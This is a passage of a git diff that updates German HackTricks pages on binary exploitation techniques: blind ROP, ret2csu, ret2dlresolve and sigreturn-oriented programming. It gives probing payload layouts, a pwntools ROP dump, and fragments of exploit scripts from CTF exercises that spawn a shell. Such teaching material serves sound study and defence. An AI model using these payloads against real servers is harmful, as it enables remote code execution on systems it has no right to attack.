Dieses Gadget ermöglicht im Wesentlichen die Bestätigung, dass etwas Interessantes vom ROP-Gadget ausgeführt wurde, da die Ausführung nicht abgestürzt ist. Normalerweise handelt es sich bei diesem Gadget um etwas, das die Ausführung **stoppt**, und es befindet sich am Ende der ROP-Kette, wenn nach ROP-Gadgets gesucht wird, um zu bestätigen, dass ein bestimmtes ROP-Gadget ausgeführt wurde.
|
||||
|
||||
### **5. Finden Sie das BROP-Gadget**
|
||||
|
||||
Diese Technik verwendet das [**ret2csu**](ret2csu.md) Gadget. Und das liegt daran, dass, wenn Sie auf dieses Gadget inmitten einiger Anweisungen zugreifen, Gadgets erhalten, um **`rsi`** und **`rdi`** zu steuern:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Dies wären die Gadgets:
|
||||
|
||||
* `pop rsi; pop r15; ret`
|
||||
* `pop rdi; ret`
|
||||
|
||||
Beachten Sie, wie es mit diesen Gadgets möglich ist, **2 Argumente** einer Funktion zu steuern.
|
||||
|
||||
Beachten Sie auch, dass das ret2csu-Gadget eine **sehr eindeutige Signatur** hat, da es 6 Register vom Stapel abruft. Daher wird eine Kette wie folgt gesendet:
|
||||
|
||||
`'A' * Offset + Canary + RBP + ADDR + 0xdead * 6 + STOP`
|
||||
|
||||
Wenn das **STOP ausgeführt wird**, bedeutet dies im Grunde, dass eine **Adresse, die 6 Register abruft**, vom Stapel verwendet wurde. Oder dass die verwendete Adresse auch eine STOP-Adresse war.
|
||||
|
||||
Um diese letzte Option zu **entfernen**, wird eine neue Kette wie folgt ausgeführt und sie darf das STOP-Gadget nicht ausführen, um zu bestätigen, dass das vorherige tatsächlich 6 Register abgerufen hat:
|
||||
|
||||
`'A' * Offset + Canary + RBP + ADDR`
|
||||
|
||||
Nachdem die Adresse des ret2csu-Gadgets gefunden wurde, ist es möglich, die Adresse der Gadgets zur Steuerung von `rsi` und `rdi` zu **ableiten**.
|
||||
|
||||
### 6. Finden Sie PLT
|
||||
|
||||
Die PLT-Tabelle kann ab 0x400000 oder von der **geleakten RIP-Adresse** aus dem Stapel (wenn **PIE** verwendet wird) aus durchsucht werden. Die **Einträge** der Tabelle sind **durch 16B** (0x10B) getrennt, und wenn eine Funktion aufgerufen wird, stürzt der Server nicht ab, auch wenn die Argumente nicht korrekt sind. Außerdem stürzt das Überprüfen der Adresse eines Eintrags in der **PLT + 6B auch nicht ab**, da es der erste ausgeführte Code ist.
|
||||
|
||||
Daher ist es möglich, die PLT-Tabelle anhand der folgenden Verhaltensweisen zu finden:
|
||||
|
||||
* `'A' * Offset + Canary + RBP + ADDR + STOP` -> kein Absturz
|
||||
* `'A' * Offset + Canary + RBP + (ADDR + 0x6) + STOP` -> kein Absturz
|
||||
* `'A' * Offset + Canary + RBP + (ADDR + 0x10) + STOP` -> kein Absturz
|
||||
|
||||
### 7. Finden Sie strcmp
|
||||
|
||||
Die **`strcmp`**-Funktion setzt das Register **`rdx`** auf die Länge des zu vergleichenden Strings. Beachten Sie, dass **`rdx`** das **dritte Argument** ist und wir möchten, dass es **größer als 0** ist, um später `write` zum Leaken des Programms verwenden zu können.
|
||||
|
||||
Es ist möglich, den Speicherort von **`strcmp`** in der PLT anhand seines Verhaltens zu finden, wobei berücksichtigt wird, dass wir jetzt die ersten 2 Argumente von Funktionen steuern können:
|
||||
|
||||
* strcmp(\<nicht lesbare Adresse>, \<nicht lesbare Adresse>) -> Absturz
|
||||
* strcmp(\<nicht lesbare Adresse>, \<lesbare Adresse>) -> Absturz
|
||||
* strcmp(\<lesbare Adresse>, \<nicht lesbare Adresse>) -> Absturz
|
||||
* strcmp(\<lesbare Adresse>, \<lesbare Adresse>) -> kein Absturz
|
||||
|
||||
Dies kann überprüft werden, indem jeder Eintrag der PLT-Tabelle aufgerufen wird oder indem der **PLT-Slow-Path** verwendet wird, der im Wesentlichen darin besteht, **einen Eintrag in der PLT-Tabelle + 0xb** (der zu **`dlresolve`** aufruft) aufzurufen, gefolgt im Stapel von der **Eintragsnummer, die man prüfen möchte** (beginnend bei null), um alle PLT-Einträge vom ersten zu durchsuchen:
|
||||
|
||||
* strcmp(\<nicht lesbare Adresse>, \<lesbare Adresse>) -> Absturz
|
||||
* `b'A' * Offset + Canary + RBP + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Wird abstürzen
|
||||
* strcmp(\<lesbare Adresse>, \<nicht lesbare Adresse>) -> Absturz
|
||||
* `b'A' * Offset + Canary + RBP + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` 
|
||||
* strcmp(\<lesbare Adresse>, \<lesbare Adresse>) -> kein Absturz
|
||||
* `b'A' * Offset + Canary + RBP + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` 
|
||||
|
||||
Denken Sie daran, dass:
|
||||
|
||||
* BROP + 0x7 zeigt auf **`pop RSI; pop R15; ret;`**
|
||||
* BROP + 0x9 zeigt auf **`pop RDI; ret;`**
|
||||
* PLT + 0xb zeigt auf einen Aufruf von **dl\_resolve**.
|
||||
|
||||
Nachdem `strcmp` gefunden wurde, ist es möglich, **`rdx`** auf einen Wert größer als 0 zu setzen.
|
||||
|
||||
{% hint style="success" %}
|
||||
Beachten Sie, dass `rdx` normalerweise bereits einen Wert größer als 0 enthält, sodass dieser Schritt möglicherweise nicht erforderlich ist.
|
||||
{% endhint %}
|
||||
### 8. Finden von Write oder Äquivalent
|
||||
|
||||
Schließlich wird ein Gadget benötigt, das Daten exfiltriert, um das Binärprogramm zu exfiltrieren. Und zu diesem Zeitpunkt ist es möglich, **2 Argumente zu kontrollieren und `rdx` größer als 0 zu setzen**.
|
||||
|
||||
Es gibt 3 gängige Funktionen, die dafür missbraucht werden könnten:
|
||||
|
||||
* `puts(data)`
|
||||
* `dprintf(fd, data)`
|
||||
* `write(fd, data, len(data)`
|
||||
|
||||
Jedoch erwähnt das Originaldokument nur die **`write`** Funktion, also lassen Sie uns darüber sprechen:
|
||||
|
||||
Das aktuelle Problem ist, dass wir nicht wissen, **wo sich die write-Funktion im PLT befindet** und wir nicht wissen **eine FD-Nummer, um die Daten an unseren Socket zu senden**.
|
||||
|
||||
Wir wissen jedoch **wo sich die PLT-Tabelle befindet** und es ist möglich, write anhand seines **Verhaltens** zu finden. Und wir können **mehrere Verbindungen** mit dem Server herstellen und einen **hohen FD** verwenden, in der Hoffnung, dass er mit einigen unserer Verbindungen übereinstimmt.
|
||||
|
||||
Verhaltenssignaturen zum Auffinden dieser Funktionen:
|
||||
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Wenn Daten gedruckt werden, wurde puts gefunden
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Wenn Daten gedruckt werden, wurde dprintf gefunden
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Wenn Daten gedruckt werden, wurde write gefunden
|
||||
|
||||
## Automatische Ausnutzung
|
||||
|
||||
* [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
|
||||
|
||||
## Referenzen
|
||||
|
||||
* Originaldokument: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
|
||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
|
|
@ -14,7 +14,9 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
|
||||
</details>
|
||||
|
||||
## Grundlegende Informationen
|
||||
##
|
||||
|
||||
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Grundlegende Informationen
|
||||
|
||||
**ret2csu** ist eine Hacking-Technik, die verwendet wird, wenn Sie versuchen, die Kontrolle über ein Programm zu übernehmen, aber die **Gadgets**, die Sie normalerweise verwenden, um das Verhalten des Programms zu manipulieren, nicht finden können. 
|
||||
|
||||
|
@ -22,7 +24,7 @@ Wenn ein Programm bestimmte Bibliotheken verwendet (wie libc), verfügt es über
|
|||
|
||||
### Die magischen Gadgets in \_\_libc\_csu\_init
|
||||
|
||||
In **`__libc_csu_init`** gibt es zwei Sequenzen von Anweisungen (Gadgets), die hervorzuheben sind:
|
||||
In **`__libc_csu_init`** gibt es zwei Sequenzen von Anweisungen (Gadgets), die hervorgehoben werden müssen:
|
||||
|
||||
1. Die erste Sequenz ermöglicht es uns, Werte in mehreren Registern (rbx, rbp, r12, r13, r14, r15) einzurichten. Diese dienen als Speicherplätze, in denen wir Zahlen oder Adressen speichern können, die wir später verwenden möchten.
|
||||
```armasm
|
||||
|
@ -36,9 +38,9 @@ ret;
|
|||
```
|
||||
Dieses Gadget ermöglicht es uns, diese Register zu steuern, indem wir Werte vom Stapel in sie laden.
|
||||
|
||||
2. Die zweite Sequenz verwendet die von uns festgelegten Werte, um ein paar Dinge zu tun:
|
||||
2. Die zweite Sequenz verwendet die von uns eingerichteten Werte, um ein paar Dinge zu tun:
|
||||
* **Bestimmte Werte in andere Register verschieben**, um sie für uns als Parameter in Funktionen vorzubereiten.
|
||||
* **Einen Aufruf an eine Position durchführen**, die durch Addition der Werte in r15 und rbx bestimmt wird, und dann rbx mit 8 multipliziert.
|
||||
* **Einen Aufruf an eine bestimmte Stelle** durchführen, die sich ergibt, indem die Werte in r15 und rbx addiert und dann rbx mit 8 multipliziert werden.
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
|
@ -57,10 +59,10 @@ jnz <func>
|
|||
...
|
||||
ret
|
||||
```
|
||||
Die Bedingungen werden sein:
|
||||
Die Bedingungen sind:
|
||||
|
||||
- `[r12 + rbx*8]` muss auf eine Adresse zeigen, die eine aufrufbare Funktion speichert (wenn keine Idee und kein PIE, können Sie einfach die Funktion `_init` verwenden):
|
||||
- Wenn \_init sich bei `0x400560` befindet, verwenden Sie GEF, um im Speicher nach einem Zeiger darauf zu suchen und machen Sie `[r12 + rbx*8]` zur Adresse mit dem Zeiger auf \_init:
|
||||
- `[r12 + rbx*8]` muss auf eine Adresse zeigen, die eine aufrufbare Funktion speichert (wenn keine Idee und kein PIE vorhanden sind, können Sie einfach die Funktion `_init` verwenden):
|
||||
- Wenn \_init sich an der Adresse `0x400560` befindet, verwenden Sie GEF, um nach einem Zeiger im Speicher darauf zu suchen und stellen Sie sicher, dass `[r12 + rbx*8]` die Adresse mit dem Zeiger auf \_init ist:
|
||||
```bash
|
||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
gef➤ search-pattern 0x400560
|
||||
|
@ -71,20 +73,32 @@ gef➤ search-pattern 0x400560
|
|||
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
|
||||
```
|
||||
* `rbp` und `rbx` müssen den gleichen Wert haben, um den Sprung zu vermeiden
|
||||
* Es gibt einige ausgelassene `pop`-Operationen, die berücksichtigt werden müssen
|
||||
* Es gibt einige ausgelassene Pops, die berücksichtigt werden müssen
|
||||
|
||||
## RDI und RSI
|
||||
|
||||
Eine weitere Möglichkeit, **`rdi`** und **`rsi`** vom ret2csu-Gadget aus zu steuern, besteht darin, auf spezifische Offset zuzugreifen:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Überprüfen Sie diese Seite für weitere Informationen:
|
||||
|
||||
{% content-ref url="brop-blind-return-oriented-programming.md" %}
|
||||
[brop-blind-return-oriented-programming.md](brop-blind-return-oriented-programming.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Beispiel
|
||||
|
||||
### Verwendung des Aufrufs
|
||||
|
||||
Stellen Sie sich vor, Sie möchten einen Systemaufruf machen oder eine Funktion wie `write()` aufrufen, aber benötigen spezifische Werte in den Registern `rdx` und `rsi` als Parameter. Normalerweise würden Sie nach Gadgets suchen, die diese Register direkt setzen, aber Sie finden keine.
|
||||
Stellen Sie sich vor, Sie möchten einen Systemaufruf machen oder eine Funktion wie `write()` aufrufen, aber spezifische Werte in den Registern `rdx` und `rsi` als Parameter benötigen. Normalerweise würden Sie nach Gadgets suchen, die diese Register direkt setzen, aber Sie finden keine.
|
||||
|
||||
Hier kommt **ret2csu** ins Spiel:
|
||||
|
||||
1. **Registrierungen einrichten**: Verwenden Sie das erste magische Gadget, um Werte vom Stapel in `rbx`, `rbp`, `r12` (edi), `r13` (rsi), `r14` (rdx) und `r15` zu laden.
|
||||
2. **Verwenden des zweiten Gadgets**: Mit diesen gesetzten Registern verwenden Sie das zweite Gadget. Dies ermöglicht es Ihnen, Ihre ausgewählten Werte in `rdx` und `rsi` zu verschieben (aus r14 und r13), um Parameter für einen Funktionsaufruf vorzubereiten. Darüber hinaus können Sie durch die Kontrolle von `r15` und `rbx` das Programm dazu bringen, eine Funktion aufzurufen, die sich an der Adresse befindet, die Sie berechnen und in `[r15 + rbx*8]` platzieren.
|
||||
1. **Registrierungen einrichten**: Verwenden Sie den ersten magischen Gadget, um Werte vom Stapel in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) und r15 zu laden.
|
||||
2. **Verwenden des zweiten Gadgets**: Mit diesen gesetzten Registern verwenden Sie den zweiten Gadget. Dies ermöglicht es Ihnen, Ihre ausgewählten Werte in `rdx` und `rsi` zu verschieben (aus r14 und r13), um Parameter für einen Funktionsaufruf vorzubereiten. Darüber hinaus können Sie durch die Steuerung von `r15` und `rbx` das Programm dazu bringen, eine Funktion aufzurufen, die sich an der von Ihnen berechneten Adresse befindet und in `[r15 + rbx*8]` platziert wird.
|
||||
|
||||
Sie haben ein [**Beispiel für die Verwendung dieser Technik und deren Erklärung hier**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), und dies ist der endgültige Exploit, den es verwendet:
|
||||
Es gibt ein [**Beispiel, das diese Technik verwendet und hier erklärt**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), und dies ist der endgültige Exploit, den es verwendet:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -109,12 +123,12 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
|||
print(p.recvline()) # should receive "Awesome work!"
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Beachten Sie, dass das vorherige Exploit nicht dazu gedacht ist, eine **`RCE`** durchzuführen, sondern nur eine Funktion namens **`win`** aufzurufen (die Adresse von `win` aus stdin aufrufen von gets in der ROP-Kette und speichern in r15) mit einem dritten Argument mit dem Wert `0xdeadbeefcafed00d`.
|
||||
Beachten Sie, dass das vorherige Exploit nicht dazu gedacht ist, eine **`RCE`** durchzuführen, sondern lediglich eine Funktion namens **`win`** aufzurufen (die Adresse von `win` aus stdin beim Aufruf von gets in der ROP-Kette entgegennimmt und in r15 speichert) mit einem dritten Argument mit dem Wert `0xdeadbeefcafed00d`.
|
||||
{% endhint %}
|
||||
|
||||
### Umgehen des Aufrufs und Erreichen von ret
|
||||
|
||||
Der folgende Exploit wurde [**von dieser Seite**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) extrahiert, auf der **ret2csu** verwendet wird, aber anstelle des Aufrufs die Vergleiche umgeht und den `ret` nach dem Aufruf erreicht:
|
||||
Der folgende Exploit wurde [**von dieser Seite**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) extrahiert, auf der **ret2csu** verwendet wird, aber anstelle des Aufrufs die Vergleiche umgeht und das `ret` nach dem Aufruf erreicht:
|
||||
```python
|
||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
||||
|
|
|
@ -16,39 +16,60 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Wie auf der Seite über [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) und [**Relro**](../common-binary-protections-and-bypasses/relro.md) erklärt, werden Binärdateien ohne Full Relro beim ersten Gebrauch Symbole auflösen (wie Adressen zu externen Bibliotheken). Diese Auflösung erfolgt durch Aufruf der Funktion **`_dl_runtime_resolve`**.
|
||||
Wie auf der Seite über [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) und [**Relro**](../common-binary-protections-and-bypasses/relro.md) erklärt, werden Binärdateien ohne Full Relro Symbole (wie Adressen zu externen Bibliotheken) beim ersten Gebrauch aufgelöst. Diese Auflösung erfolgt durch Aufruf der Funktion **`_dl_runtime_resolve`**.
|
||||
|
||||
Die Funktion **`_dl_runtime_resolve`** nimmt vom Stapel Verweise auf einige Strukturen entgegen, die sie benötigt, um das angegebene Symbol aufzulösen.
|
||||
|
||||
Daher ist es möglich, **alle diese Strukturen zu fälschen**, um das dynamische Verknüpfen das angeforderte Symbol (wie die **`system`**-Funktion) aufzulösen und mit einem konfigurierten Parameter aufzurufen (z. B. **`system('/bin/sh')`**).
|
||||
|
||||
Normalerweise werden all diese Strukturen gefälscht, indem eine **initiale ROP-Kette erstellt wird, die `read` aufruft** über einen beschreibbaren Speicher, dann werden die **Strukturen** und der String **`'/bin/sh'`** übergeben, damit sie von `read` an einem bekannten Ort gespeichert werden, und dann setzt die ROP-Kette fort, indem sie **`_dl_runtime_resolve`** aufruft, um die Adresse von `system` in den gefälschten Strukturen aufzulösen und diese Adresse mit der Adresse von `$'/bin/sh'` aufruft.
|
||||
Normalerweise werden all diese Strukturen gefälscht, indem eine **initiale ROP-Kette erstellt wird, die `read` aufruft** über einen beschreibbaren Speicher, dann werden die **Strukturen** und der String **`'/bin/sh'`** übergeben, damit sie von `read` an einem bekannten Ort gespeichert werden, und dann setzt die ROP-Kette fort, indem sie **`_dl_runtime_resolve`** aufruft, um die Adresse von `system` in den gefälschten Strukturen aufzulösen und diese Adresse mit der Adresse von `$'/bin/sh'` aufzurufen.
|
||||
|
||||
{% hint style="success" %}
|
||||
Diese Technik ist besonders nützlich, wenn es keine Syscall-Gadgets gibt (um Techniken wie [**ret2syscall**](rop-syscall-execv/) oder [SROP](srop-sigreturn-oriented-programming/) zu verwenden) und es keine Möglichkeiten gibt, libc-Adressen zu leaken.
|
||||
Diese Technik ist besonders nützlich, wenn es keine Syscall-Gadgets gibt (um Techniken wie [**ret2syscall**](rop-syscall-execv/) oder [SROP](srop-sigreturn-oriented-programming/) zu verwenden) und es keine Möglichkeiten gibt, libc-Adressen zu **leaken**.
|
||||
{% endhint %}
|
||||
|
||||
Eine bessere Erklärung dieser Technik finden Sie in der zweiten Hälfte des Videos:
|
||||
Sehen Sie sich dieses Video für eine gute Erklärung dieser Technik in der zweiten Hälfte des Videos an:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
|
||||
## Strukturen
|
||||
Oder überprüfen Sie diese Seiten für eine schrittweise Erklärung:
|
||||
|
||||
Es ist notwendig, 3 Strukturen zu fälschen: **`JMPREL`**, **`STRTAB`** und **`SYMTAB`**. Eine bessere Erklärung, wie diese aufgebaut sind, finden Sie unter [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
|
||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
|
||||
|
||||
## Angriffszusammenfassung
|
||||
|
||||
1. Fälschen Sie gefälschte Strukturen an einem bestimmten Ort
|
||||
1. Fälschen Sie Strukturen an einem bestimmten Ort
|
||||
2. Setzen Sie das erste Argument von `system` (`$rdi = &'/bin/sh'`)
|
||||
3. Setzen Sie auf dem Stapel die Adressen zu den Strukturen, um **`_dl_runtime_resolve`** aufzurufen
|
||||
4. Rufen Sie **`_dl_runtime_resolve`** auf
|
||||
5. **`system`** wird aufgelöst und mit `'/bin/sh'` als Argument aufgerufen
|
||||
|
||||
Gemäß der [**pwntools-Dokumentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) sieht ein **`ret2dlresolve`**-Angriff wie folgt aus:
|
||||
```python
|
||||
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
|
||||
>>> rop = ROP(elf)
|
||||
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
|
||||
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
|
||||
>>> rop.ret2dlresolve(dlresolve)
|
||||
>>> raw_rop = rop.chain()
|
||||
>>> print(rop.dump())
|
||||
0x0000: 0x400593 pop rdi; ret
|
||||
0x0008: 0x0 [arg0] rdi = 0
|
||||
0x0010: 0x400591 pop rsi; pop r15; ret
|
||||
0x0018: 0x601e00 [arg1] rsi = 6299136
|
||||
0x0020: b'iaaajaaa' <pad r15>
|
||||
0x0028: 0x4003f0 read
|
||||
0x0030: 0x400593 pop rdi; ret
|
||||
0x0038: 0x601e48 [arg0] rdi = 6299208
|
||||
0x0040: 0x4003e0 [plt_init] system
|
||||
0x0048: 0x15670 [dlresolve index]
|
||||
```
|
||||
## Beispiel
|
||||
|
||||
### Pure Pwntools
|
||||
### Reines Pwntools
|
||||
|
||||
Sie finden ein [**Beispiel dieser Technik hier**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **mit einer sehr guten Erklärung der endgültigen ROP-Kette**, aber hier ist der verwendete endgültige Exploit:
|
||||
Sie können ein [**Beispiel dieser Technik hier finden**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **mit einer sehr guten Erklärung der abschließenden ROP-Kette**, aber hier ist der endgültige Exploit, der verwendet wird:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
|
@ -10,23 +10,23 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
**`Sigreturn`** ist ein spezieller **Syscall**, der hauptsächlich verwendet wird, um nach Abschluss eines Signalhandlers aufzuräumen. Signale sind Unterbrechungen, die vom Betriebssystem an ein Programm gesendet werden, oft um anzuzeigen, dass eine außergewöhnliche Situation aufgetreten ist. Wenn ein Programm ein Signal empfängt, unterbricht es vorübergehend seine aktuelle Arbeit, um das Signal mit einem **Signalhandler**, einer speziellen Funktion, die für den Umgang mit Signalen entwickelt wurde, zu behandeln.
|
||||
**`Sigreturn`** ist ein spezieller **Syscall**, der hauptsächlich verwendet wird, um nach Abschluss eines Signalhandlers aufzuräumen. Signale sind Unterbrechungen, die vom Betriebssystem an ein Programm gesendet werden, oft um anzuzeigen, dass eine außergewöhnliche Situation aufgetreten ist. Wenn ein Programm ein Signal empfängt, unterbricht es vorübergehend seine aktuelle Arbeit, um das Signal mit einem **Signalhandler**, einer speziellen Funktion, die für den Umgang mit Signalen entwickelt wurde, zu verarbeiten.
|
||||
|
||||
Nachdem der Signalhandler fertig ist, muss das Programm seinen vorherigen Zustand **wiederherstellen**, als ob nichts passiert wäre. Hier kommt **`sigreturn`** ins Spiel. Es hilft dem Programm, **aus dem Signalhandler zurückzukehren** und stellt den Zustand des Programms wieder her, indem der Stackframe (der Abschnitt des Speichers, der Funktionsaufrufe und lokale Variablen speichert), der vom Signalhandler verwendet wurde, aufgeräumt wird.
|
||||
Nachdem der Signalhandler fertig ist, muss das Programm seinen vorherigen Zustand **wiederherstellen**, als ob nichts passiert wäre. Hier kommt **`sigreturn`** ins Spiel. Es hilft dem Programm, **aus dem Signalhandler zurückzukehren** und stellt den Zustand des Programms wieder her, indem es den Stackframe aufräumt (den Abschnitt des Speichers, der Funktionsaufrufe und lokale Variablen speichert), der vom Signalhandler verwendet wurde.
|
||||
|
||||
Der interessante Teil ist, wie **`sigreturn`** den Zustand des Programms wiederherstellt: Es speichert **alle Registerwerte der CPU auf dem Stack**. Wenn das Signal nicht mehr blockiert ist, **`sigreturn` poppt diese Werte vom Stack ab**, wodurch die Register der CPU effektiv auf ihren Zustand vor der Behandlung des Signals zurückgesetzt werden. Dies beinhaltet das Stackzeigerregister (RSP), das auf den aktuellen oberen Teil des Stacks zeigt.
|
||||
Der interessante Teil ist, wie **`sigreturn`** den Zustand des Programms wiederherstellt: Es speichert **alle Registerwerte der CPU auf dem Stack**. Wenn das Signal nicht mehr blockiert ist, **`sigreturn` poppt diese Werte vom Stack ab**, wodurch die Register der CPU effektiv auf ihren Zustand vor der Signalverarbeitung zurückgesetzt werden. Dies beinhaltet das Stackzeigerregister (RSP), das auf den aktuellen oberen Teil des Stacks zeigt.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Indem man den Syscall **`sigreturn`** aus einer ROP-Kette aufruft und **die Registrierungswerte hinzufügt**, die wir möchten, dass sie im **Stack** geladen werden, ist es möglich, alle Registrierungswerte zu **kontrollieren** und somit beispielsweise den Syscall `execve` mit `/bin/sh` aufzurufen.
|
||||
Durch Aufrufen des Syscalls **`sigreturn`** aus einer ROP-Kette und **Hinzufügen der Registrierungswerte**, die wir möchten, dass sie im **Stack** geladen werden, ist es möglich, alle Registerwerte zu **kontrollieren** und somit beispielsweise den Syscall `execve` mit `/bin/sh` aufzurufen.
|
||||
{% endhint %}
|
||||
|
||||
Beachten Sie, dass dies eine Art von Ret2syscall wäre, die es viel einfacher macht, Parameter zu steuern, um andere Ret2syscalls aufzurufen:
|
||||
Beachten Sie, dass dies eine **Art von Ret2syscall** wäre, die es viel einfacher macht, Parameter zu steuern, um andere Ret2syscalls aufzurufen:
|
||||
|
||||
{% content-ref url="../rop-syscall-execv/" %}
|
||||
[rop-syscall-execv](../rop-syscall-execv/)
|
||||
|
@ -74,7 +74,7 @@ Für eine bessere Erklärung siehe auch:
|
|||
|
||||
## Beispiel
|
||||
|
||||
Sie können [**hier ein Beispiel finden**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), wo der Aufruf von signeturn über ROP konstruiert wird (wobei der Wert `0xf` in rxa eingefügt wird), obwohl dies der endgültige Exploit von dort ist:
|
||||
Sie können [**hier ein Beispiel finden**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), wo der Aufruf von signeturn über ROP konstruiert wird (wobei in rxa der Wert `0xf` eingefügt wird), obwohl dies der endgültige Exploit von dort ist:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -139,10 +139,12 @@ target.interactive()
|
|||
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||
